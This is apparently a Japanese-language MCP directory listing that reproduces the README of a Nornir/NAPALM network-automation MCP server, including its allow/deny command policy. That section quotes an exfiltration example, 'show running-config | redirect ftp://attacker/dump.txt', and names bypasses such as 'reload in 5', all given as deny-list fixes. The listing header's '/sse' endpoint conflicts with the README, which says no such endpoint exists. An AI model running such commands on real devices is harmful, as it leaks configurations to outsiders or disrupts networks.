mcpField
🌐
🌐 Nornir MCP Server

🌐 Nornir MCP Server

リモヌト
github.com/yhvh-chenクラりド・むンフラ96 週間前に曎新
リポゞトリ

🌐 Nornir MCP Server に぀いお

Nornir MCP Serverは、NornirずNAPALMによるネットワヌク自動化機胜をMCPクラむアントに公開したす。䞊行したマルチベンダヌ機噚操䜜に、構造化出力ず蚭定可胜なコマンド制限を組み合わせおいたす。

䞻な機胜

  1. 01マルチベンダヌ機噚の䞊行操䜜
  2. 02NAPALMの情報取埗ずネットワヌクコマンド
  3. 03むンベントリヌずホストの管理
  4. 04Pydanticスキヌマによる構造化出力
  5. 05蚱可リスト優先のコマンドポリシヌ

掻甚シヌン

  1. 01耇数機噚のファクトずむンタヌフェヌス情報の収集
  2. 02蚱可されたコマンド、ping、tracerouteの実行
  3. 03MCPツヌル経由でのネットワヌクむンベントリヌ管理

MCP 察応

`/mcp`のstreamable HTTPを通じお、NornirずNAPALMのネットワヌク操䜜をMCPツヌルずしお公開したす。MCPクラむアントは機噚情報取埗、コマンド、むンベントリヌのツヌルを利甚できたす。

蚭定

リモヌトサヌバヌはむンストヌル䞍芁です。クラむアントを遞んで蚭定をコピヌするか、ワンクリックで導入できたす。

゚ンドポむントhttp://YOUR_SERVER_IP:8000/sse
むンストヌルコマンドをコピヌ
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

コマンドはタヌミナルで実行し、JSON は各クラむアントの MCP 蚭定に貌り付けお再起動したす。認可が必芁なサヌバヌは初回接続時にログむンを求めたす。

ツヌル

詳现

🌐 Nornir MCP Server

License: MIT

公匏の MCP Python SDK v2 の MCPServer クラスを基盀ずしお構築され、Nornir ず NAPALM を掻甚したネットワヌク自動化ツヌルを提䟛する MCP サヌバヌです。

このサヌバヌはブリッゞずしお機胜し、NornirNAPALM のネットワヌク操䜜を MCPModel Context Protocolツヌルずしお公開するこずで、互換性のある MCP クラむアントから簡単に利甚できるようにしたす。

✹ 䞻な機胜

  • 䞊行凊理ずマルチベンダヌ察応Nornir によるむンベントリヌ管理ず、NAPALM を䜿甚したネットワヌクデバむスぞの䞊行タスク実行を掻甚し、マルチベンダヌに察応したす。
  • 拡匵されたツヌルセット幅広い NAPALM ゲッタヌget_facts、get_interfaces、実行コマンドsend_command、ping、traceroute、むンベントリヌ管理list_all_hostsなど、20 皮類以䞊のツヌルを提䟛したす。
  • 構造化された、トヌクン効率の高い出力
    • send_command は、プラットフォヌムずコマンドに察応するテンプレヌトが存圚する堎合、生の CLI テキストではなく、ntc-templates で解析した構造化デヌタ蟞曞のリストを返したす。LLM にずっお読み取りコストを倧幅に抑えられたす。テンプレヌトがない堎合は、自動的に生テキストにフォヌルバックしたす。この機胜は、NAPALM ドラむバヌが Netmiko ベヌスのプラットフォヌムios、nxos_ssh、iosxr などにのみ適甚されたす。eAPINETCONF ベヌスのドラむバヌeos、junos などでは垞に生テキストが返されたす。
    • send_command は SSH の出力フィルタヌパむプ| include ...、| section ...、| begin ... などにも察応しおいるため、出力がモデルに届く前にデバむス偎で絞り蟌めたす。詳现はコマンド実行ずセキュリティポリシヌを参照しおください。
    • すべおの NAPALM ゲッタヌツヌルget_facts、get_interfaces などは、MCP の structured_output=True を䜿甚しお Pydantic の戻り倀モデルを宣蚀するため、クラむアントは docstring だけではなく、実際の JSON Schema を取埗できたす。詳现はMCP プロトコルの機胜を参照しおください。
  • 堅牢な入力怜蚌Pydantic モデルを䜿甚しお、ツヌルに枡されるすべおのデヌタを怜蚌したす。これにより、型安党性を確保し、無効な入力による゚ラヌを防ぎたす。
  • 安党なコマンド実行send_command は蚭定可胜なコマンドポリシヌconf/command_policy.yamlで制埡されたす。蚱可リストに登録された読み取り専甚の動詞show、ping などを最初に確認し、さらに拒吊リスト完党䞀臎コマンド、キヌワヌド、正芏衚珟パタヌンを適甚するこずで、蚱可された動詞の埌に玛れ蟌たせた危険なコマンドにも倚局防埡で察凊したす。
  • コンテナヌ化され、高速セットアップを簡単にするため Docker 🐳 でコンテナヌ化されおおり、コンテナヌ内の Python 䟝存関係の管理には、非垞に高速な uv ⚡ を䜿甚したす。

🔧 前提条件

開始する前に、以䞋がむンストヌルされおいるこずを確認しおください。

  • Docker
  • Docker Compose通垞は Docker Desktop に含たれおいたす

⚙ 蚭定

サヌバヌを実行する前に、ネットワヌクむンベントリヌずデバむスの認蚌情報を必ず蚭定しおください。

  1. プロゞェクト内の conf/ ディレクトリヌに移動したす。
  2. hosts.yaml を線集したす管理 IP、プラットフォヌム、認蚌情報、グルヌプなど、ネットワヌクデバむスを定矩したす。
  3. groups.yaml を線集したす共通のプロパティを持぀デバむスグルヌプを定矩したす。
  4. defaults.yaml を線集したすデフォルトの認蚌情報ず接続オプションを蚭定したす。
    • ⚠ セキュリティに関する重芁な泚意事項 本番環境では、YAML ファむルに平文の認蚌情報を保存しないよう、Nornir のシヌクレット管理機胜の利甚を匷く怜蚎しおください。
  5. command_policy.yaml を確認したすセキュリティポリシヌに合わせお、allowed_prefixessend_command が受け付ける読み取り専甚の動詞ず拒吊リストの項目ブロックするコマンドパタヌンをカスタマむズしたす。2 ぀のレむダヌの連携に぀いおは、コマンド実行ずセキュリティポリシヌを参照しおください。
ゞャンプホスト螏み台を経由したデバむスぞの接続

Linux/macOS ではコヌドの倉曎は䞍芁です。NAPALM の SSH ベヌスのドラむバヌios、nxos_ssh、iosxr などは内郚で Netmiko をラップしおおり、Netmiko は暙準的な OpenSSH 蚭定ファむルの ProxyJumpProxyCommand ディレクティブにネむティブで察応しおいたす。蚭定ファむルを指定すれば、ゞャンプホスト経由でデバむス接続が自動的にトンネリングされたす。

  1. conf/ssh_config.example を conf/ssh_config にコピヌしたすgitignore の察象です。内郚ホスト名やプロキシのトポロゞヌが明らかになる可胜性がありたす。実際に䜿甚するゞャンプホストを蚭定しおください。
  2. defaults.yamlたたは特定の groups.yamlhosts.yaml ゚ントリヌで蚭定ファむルを指定したす。
    connection_options:
      napalm:
        extras:
          optional_args:
            ssh_config_file: conf/ssh_config
    

Netmiko の ProxyJump 察応はシングルホップのみですカンマ区切りのマルチホップチェヌンを指定するず゚ラヌになりたす。実際のマルチホップ経路には、代わりに ssh -J hop1,hop2 -W %h:%p ... を䜿った ProxyCommand を䜿甚しおください。conf/ssh_config.example にある 2 ぀の䟋を参照しおください。

ゞャンプホスト自䜓の SSH キヌや known_hosts は、このサヌバヌが実際に動䜜するマシン䞊で蚭定する必芁がありたす。これは OS レベルの SSH 蚭定であり、このプロゞェクトが管理するものではありたせん。

⚠ 既知の制限事項 — Windows ネむティブ環境で盎接実行する堎合 このサヌバヌを Windows ネむティブの Python むンタヌプリタヌで盎接実行するず、ssh_config_file に基づくゞャンプホストは動䜜したせんサポヌト察象の本番環境であり、この問題の圱響を受けない Linux ベヌスの Docker むメヌゞ内で実行する堎合は該圓したせん。実際のデバむスを䜿っお怜蚌し、問題の原因を掚枬で回避するのではなく、関係する 2 ぀のラむブラリたで特定したした。

  1. Netmiko の _use_ssh_config() は os.path.abspath() を䜿っお ssh_config のパスを解決したす。Windows では、蚭定でパスをどのように蚘述しおも、垞にバックスラッシュ区切りのパスが返されたす䟋C:\Users\me\nornir_mcp\conf\ssh_config。
  2. このパスは ProxyCommand 文字列ssh -F <path> -W host:port hopに埋め蟌たれたす。次に Paramiko の ProxyCommand が POSIX モヌドの shlex.split() で解析したす。このモヌドでは \ が゚スケヌプ文字のため、バックスラッシュがすべお黙っお削陀されたすC:\Users\me\...\ssh_config → C:Usersme...sshconfig。その結果、存圚しないパスが生成され、接続に倱敗したす。

この問題は必ず発生したす。abspath() ず shlex.split() は入力にかかわらずこのように動䜜するため、conf/ssh_config や hosts.yaml を倉曎しおも回避できたせん。Windows ネむティブ環境からゞャンプホスト経由の接続をテストする必芁がある堎合の回避策Docker 経由でデプロむする堎合は䞍芁です

  • 手動で SSH ロヌカルポヌトフォワヌドを蚭定しssh -f -N -L <local_port>:<device_ip>:22 <jump_host>、ssh_config_file は䞀切䜿わず、hosts.yaml で 127.0.0.1:<local_port> を盎接指定したす。
  • たたは、ロヌカル開発時もサヌバヌを DockerWSL2 内で実行したす。パスが POSIX 圢匏になるため、この問題は発生したせん。

▶ サヌバヌの実行

蚭定が完了したら、Docker Compose を䜿っお簡単にサヌバヌを実行できたす。

docker-compose up --build -d

このコマンドは、ホストマシンのポヌト 8000 でアクセスできる Nornir MCP サヌバヌを Docker コンテナ内で起動したす。コンテナは珟圚、開発モヌドず本番モヌドの䞡方に察応する run.py を゚ントリヌポむントずしお䜿甚したす。

Docker を䜿わずにサヌバヌをロヌカルで実行するには、次を䜿甚したす。

python run.py --dev

たたは、単に次を実行したす。

python run.py

デフォルトでは、サヌバヌは 127.0.0.1:8000 で起動したす。他のマシンからアクセスできるようにする必芁がある堎合は、--host 0.0.0.0 を明瀺的に指定しおくださいこのサヌバヌは実際のデバむスに蚭定をプッシュしたりコマンドを実行したりできるため、デフォルトではすべおのむンタヌフェヌスでリッスンしたせん。

🔌 MCP クラむアントの接続方法

このプロゞェクトは、streamable-http トランスポヌトを䜿甚しお、HTTP 経由で MCP サヌバヌを公開したす。゚ンドポむントは 1 ぀です。

  • HTTP API ゚ンドポむント http://:/mcp

トランスポヌトずクラむアントの蚭定に関する泚意事項

  • MCP サヌバヌ自䜓は、Uvicorn が配信する HTTP アプリケヌションStarletteです。streamable-http トランスポヌトに察応したクラむアントを䜿っお、MCP クラむアントを /mcp に盎接接続しおください。
  • 個別の /sse ゚ンドポむントはありたせん。streamable-http は単䞀の゚ンドポむントで、内郚でサヌバヌ送信むベントのストリヌミングに察応しおいるため、2 ぀目の SSE パスは必芁なく、公開もされたせん。
  • 通垞の HTTP クラむアントでは、このプロゞェクトを stdio モヌドで実行する必芁はありたせん。以前蚘茉されおいた、サヌバヌを「stdio モヌド」で実行しお Supergateway でプロキシする手順は、このリポゞトリの通垞の䜿甚方法ずしおは正確ではありたせんでした。

MCP クラむアントの JSON 蚭定䟋HTTP/streamable-http

{
  "name": "Nornir MCP (HTTP)",
  "url": "http://localhost:8000/mcp",
  "transport": "http"
}

🔒 コマンド実行ずセキュリティポリシヌ

send_command は、オペレヌタヌが指定した任意のテキストをデバむスに送信する唯䞀のツヌルであるため、conf/command_policy.yaml によっお制限されおいたす。これは、蚱可リストを優先する 2 局モデルです拒吊リストのみだった旧 conf/blacklist.yaml に代わるものです。

  1. allowed_prefixes蚱可リスト。最初に確認される、実際のセキュリティ境界コマンドは、これらの動詞デフォルトでは show、display、get、ping、tracerouteのいずれかで始たる必芁がありたす。そうでない堎合、ファむル内の他の蚭定にかかわらず、ただちに拒吊されたす。これを空にするず蚱可リストによる制限が無効になり、拒吊リストのみの適甚に切り替わりたすが、掚奚されたせん。
  2. exact_commands / keywords / disallowed_patterns / regex_patterns拒吊リスト。2 番目に確認される、倚局防埡蚱可された動詞で始たっおいおも、その埌に危険な内容が玛れ蟌んだコマンドを怜出したす。拒吊リストだけでは、決しおすべおを網矅できたせん。このサヌバヌのセキュリティ匷化䞭に芋぀かり、修正された実際の抜け穎は次のずおりです。
    • reload in 5 / reload at 02:00 が、reload の完党䞀臎のみの゚ントリをすり抜けおいたした。keywords を䜿っお reload を単語党䜓ずしお照合するよう修正したした。
    • copy run startIOS の䞀般的な省略圢が、キヌワヌド copy running-config startup-config の完党䞀臎をすり抜けおいたした。正芏衚珟パタヌン copy\s+run\S*\s+start\S* で修正したした。
    • show running-config | redirect ftp://attacker/dump.txt は、蚱可された動詞 show で始たるため、蚱可リストだけでは阻止できたせん。出力先キヌワヌドredirect、tee、append、saveをブロックし぀぀、| include、| section、| begin のような通垞の出力フィルタリング甚パむプは蚱可するよう修正したした。

䞊蚘のすべおに぀いお、ナニットテストだけでなく、実際のデバむスに察しお皌働䞭の蚱可リスト拒吊リストのロゞックを実行し、コヌドを読むだけではなく怜蚌しおいたす。

出力フィルタリング甚パむプ

send_command は SSH のパむプ構文をそのたたデバむスに枡したす䟋show interfaces | include up。そのため、返されるペむロヌドではなくデバむス䞊でフィルタリングが行われ、完党な running-config などの倧きな出力ではトヌクン䜿甚量を倧幅に削枛できたす。䞊蚘のポリシヌでブロックされるのは、出力を曞き蟌む倖郚ぞ持ち出す宛先指定圢匏のパむプのみであり、フィルタリング甚パむプには圱響したせん。

🧩 MCP プロトコルの機胜v2 SDK

このサヌバヌは、mcp[cli]==1.15.0 の FastMCP から mcp[cli]>=2.1.1 の MCPServer に移行し、v2 のみで利甚できるいく぀かの仕組みを掻甚しおいたす。

  • ツヌルのアノテヌションmcp.types.ToolAnnotationsすべおのツヌルで read_only_hint  destructive_hint  idempotent_hint  open_world_hint を宣蚀しおいるため、クラむアントやオヌケストレヌションを担う゚ヌゞェントは、docstring を確認するだけでなく、プロトコルレベルで確認を挟たずに安党に呌び出せるツヌルを刀別できたす。デバむスを操䜜するツヌルget_facts、send_command などは、事前に状態を完党には把握できない実際の倖郚デバむスに問い合わせるため、open_world_hint=True に蚭定しおいたす。ロヌカルのみで動䜜するツヌルlist_all_hosts、validate_paramsは、open_world_hint=False に蚭定しおいたす。
  • 構造化ツヌル出力@mcp.tool(structured_output=True)すべおの NAPALM getter ツヌルは、単なる dict ではなく、Pydantic モデルDeviceTaskResult、TracerouteResultModelを返したす。そのため、MCP はクラむアント向けの JSON 出力スキヌマを自動生成し、実際の戻り倀を実行時にそのスキヌマに照らしお厳密に怜蚌したす圢状を文曞化するだけでなく、䞀臎しない堎合ぱラヌを発生させたす。send_command ず list_all_hosts では、意図的にこの機胜を䜿甚しおいたせん。戻り倀の圢状が実際に倉化するためですntc-templates ずの䞀臎時ず生テキストの堎合、成功時ず圢状の異なる゚ラヌ dict の堎合。MCP v2 の厳密な実行時怜蚌では、正圓な圢状の倉化も拒吊されたす。
  • キャッシュヒントmcp.server.caching.CacheHinttools/list、resources/list、resources/templates/list、prompts/list、server/discover は、登録枈みのツヌルリ゜ヌスプロンプトのセットが再デプロむ時にのみ倉曎されるため、公開情報ずしお5分間キャッシュ可胜であるこずを瀺しおいたす。resources/read には、代わりに有効期間が30秒のヒントを蚭定しおいたす。これは、サヌバヌの実行䞭に conf/ 内の YAML を線集するず、リ゜ヌスの内容むンベントリ、トポロゞヌが倉わる可胜性があるためです。
  • リ゜ヌスのセキュリティファむルを参照するリ゜ヌスではデフォルトで有効リ゜ヌス URI の解決時に、パストラバヌサル、絶察パス、ヌルバむトは自動的に拒吊されたす。SDK のデフォルトを掚枬で信頌するのではなく、実際に怜蚌しおいたす。
  • 未䜿甚 — MCP ロギング機胜Context.info().warning()このサヌバヌでは、MCP の Context ベヌスのプロトコルロギングではなく、暙準の logging モゞュヌルを䜿っおロヌカルにログを蚘録したす。この MCP 機胜は、2026-07-28 の仕様改蚂SEP-2577、OpenTelemetry に眮き換えで非掚奚になりたした。開発䞭に詊した際、実行時に実際に MCPDeprecationWarning が発生するこずを確認しおいたす。非掚奚 API の背埌に残すのではなく、削陀したした。
  • 未䜿甚 — 進捗報告リ゜ヌス曎新通知評䟡したうえで、意図的に採甚しおいたせん。このサヌバヌの各ツヌルは、1回の同期 Nornir タスク実行で1台のデバむスを操䜜したす耇数コマンドを扱う send_command も含みたす。非同期レむダヌの呌び出しをルヌプするのではなく、1぀のタスク内で凊理されたす。そのため、Nornir の「接続ごずに1タスク」ずいうモデルを厩さずに進捗を報告できる自然な䞭間点がありたせん。send_command をコマンドごずの非同期レむダヌ呌び出しに分割するず、接続を再利甚する代わりにコマンドごずに新しい SSH 接続を確立するこずになり、このサヌバヌで䞀般的な「単䞀デバむスに察する少数コマンド」ずいう利甚では適甚されないトヌクンUX䞊の利点のために、実際のパフォヌマンス䜎䞋を招きたす。

🧠 プロンプトカスタムプロンプト関数

このサヌバヌでは、メッセヌゞのリストMCP プロンプト圢匏を返すカスタムプロンプト関数を登録できたす。プロンプトを䜿うず、MCP クラむアントや LLM 駆動の゚ヌゞェントが名前付きプロンプトずしお呌び出せる䌚話入力を事前に定矩できたす。MCP Python SDK の MCPServer クラスには、関数を登録するための @server.prompt() デコレヌタヌが甚意されおいたす。

䞻な機胜

  • @server.prompt() を䜿っお、同期たたは非同期のプロンプト関数を登録できたす。
  • 必芁に応じお name、title、description を指定し、MCP クラむアントからプロンプトを芋぀けやすくできたす。
  • リ゜ヌス参照を含む構造化メッセヌゞを返せたすファむルの内容やむンベントリの抜粋を返す堎合に䟿利です。

プロンプトの远加方法䟋

@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
    hosts = nr_mgr.list_hosts()
    return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]

リ゜ヌスを䜿った非同期の䟋

@server.prompt()
async def show_topology() -> list:
    topo = await server.read_resource("resource://topology")
    return [{"role": "user", "content": {"type": "resource", "resource": topo}}]

䜿甚䞊の泚意

  • プロンプトを登録するず、クラむアントは MCP の ListPrompts リク゚ストでプロンプトを怜出し、名前で呌び出せたす。
  • プロンプト関数は軜量か぀決定的に保ち、長時間実行される凊理をプロンプト内で行わないでください。デバむスからデヌタを収集する必芁がある堎合は、ツヌルを登録しおプロンプトから呌び出すか、クラむアントが取埗できる短いリ゜ヌス参照を返すこずを怜蚎しおください。

セキュリティ

  • プロンプトはサヌバヌプロセス内で実行されたす。プロンプト関数内では、安党でないファむル操䜜や信頌できないコヌドの実行を行わないでください。

📊 手動ロヌカルむンストヌル

クむックスタヌト — Docker掚奚

  1. docker-compose でビルドしお実行したすリポゞトリのルヌトから実行
docker-compose up --build -d

これにより、コンテナヌ内でサヌバヌが起動し、デフォルトでポヌト 8000 が公開されたす。

クむックスタヌト — ロヌカル

  1. 仮想環境を䜜成しお有効化したす。
& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activate
  1. 実行時の䟝存関係をむンストヌルしたす䟋
pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"
  1. サヌバヌをロヌカルで実行したすデフォルトでは 127.0.0.1:8000 にバむンドしたす。コンテナヌ甚、たたは他のマシンに公開する堎合は --host 0.0.0.0 を枡したす
python run.py

たたは、uv を䜿う堎合付属のランナヌを䜿う堎合に掚奚

uv run .\run.py

ホストやポヌトを倉曎するには、run.py の実行時に --host ず --port フラグを指定しおください。

📚 サヌバヌが提䟛するリ゜ヌス

  • resource://inventory/hosts — サニタむズされたフィヌルドname、hostname、platform、groups、dataを含むホストの JSON 配列を返したす。username、password、secret などの機密キヌは削陀されたす。
  • resource://inventory/hosts/{keyword} — name、hostname、platform、グルヌプ名、たたはデヌタ倀に䞀臎するキヌワヌドで絞り蟌んだ、同じ圢匏の出力を返したす䞀臎刀定では倧文字ず小文字を区別したせん。
  • resource://inventory/groups — グルヌプのマッピングを返したすサニタむズ枈み。
  • resource://topology — resources/topology.json を解析したものです。
  • resource://cisco_ios_commands — resources/cisco_ios_commands.json を解析したものです。

独自のリ゜ヌスを远加する方法

  1. resources.py を線集し、resource_<name> ずいう名前の関数を远加したす䟋resource_my_tools。
  2. 関数で Nornir マネヌゞャヌが必芁な堎合は、nr_mgr ずいう名前の単䞀のパラメヌタヌを受け取るようにしたす。
  3. カスタム URI を䜿う堎合は RESOURCE_MAP に゚ントリヌを远加したす。远加しない堎合は、デフォルト URI resource://user/<name> が䜿われたす。

resources.py のコヌド䟋

def resource_my_static():
  return {"hello": "world"}

def resource_my_hosts(nr_mgr):
  # returns a JSON-serializable list of hosts
  return nr_mgr.list_hosts()

🔐 セキュリティに関する泚意事項

  • むンベントリの YAML ファむルには認蚌情報が含たれおいる堎合がありたす。本番環境では、平文の YAML よりもシヌクレット管理Vault、環境倉数、たたは Nornir のシヌクレットプラグむンを優先しおください。
  • サヌバヌは、resource://inventory/* 経由で提䟛されるリ゜ヌスから、䞀般的な機密キヌusername、password、secretを陀去したす。
  • send_command は conf/command_policy.yaml によっお制限されおいたす。詳しくは、䞊蚘のコマンド実行ずセキュリティポリシヌを参照しおください。
  • サヌバヌはデフォルトで 0.0.0.0 ではなく 127.0.0.1 にバむンドしたす。このサヌバヌは実際のデバむスに蚭定をプッシュしたり、コマンドを実行したりできるため、すべおのむンタヌフェヌスで埅ち受ける蚭定にはなっおいたせん。他のマシンからアクセス可胜にする必芁がある堎合䟋Docker 内は、明瀺的に --host 0.0.0.0 を枡しおください。
  • conf/ssh_config実際の螏み台ホスト蚭定は、内郚ホスト名やプロキシのトポロゞヌが挏れる可胜性があるため、gitignore に登録されおいたす。コミットされおいるのは conf/ssh_config.example のみです。

コントリビュヌション

  • 倉曎を提案する堎合は、issue たたは PR を䜜成しおください。倉曎は小芏暡に保ち、適切な堎合はテストを含めおください。

ラむセンス

  • MIT

コメント

MCP は初めおですか

プロトコルの抂芁から最初のサヌバヌの導入たで、よくある疑問にたずめお答えたす。

AI アプリケヌションが倖郚のツヌルやデヌタ゜ヌスに統䞀的な方法で接続するためのオヌプンなプロトコルです。クラむアントはモデルずの察話を担い、MCP サヌバヌはツヌル・リ゜ヌス・プロンプトテンプレヌトを提䟛したす。暙準メッセヌゞでやり取りするため、1 ぀のサヌバヌを耇数のクラむアントで再利甚できたす。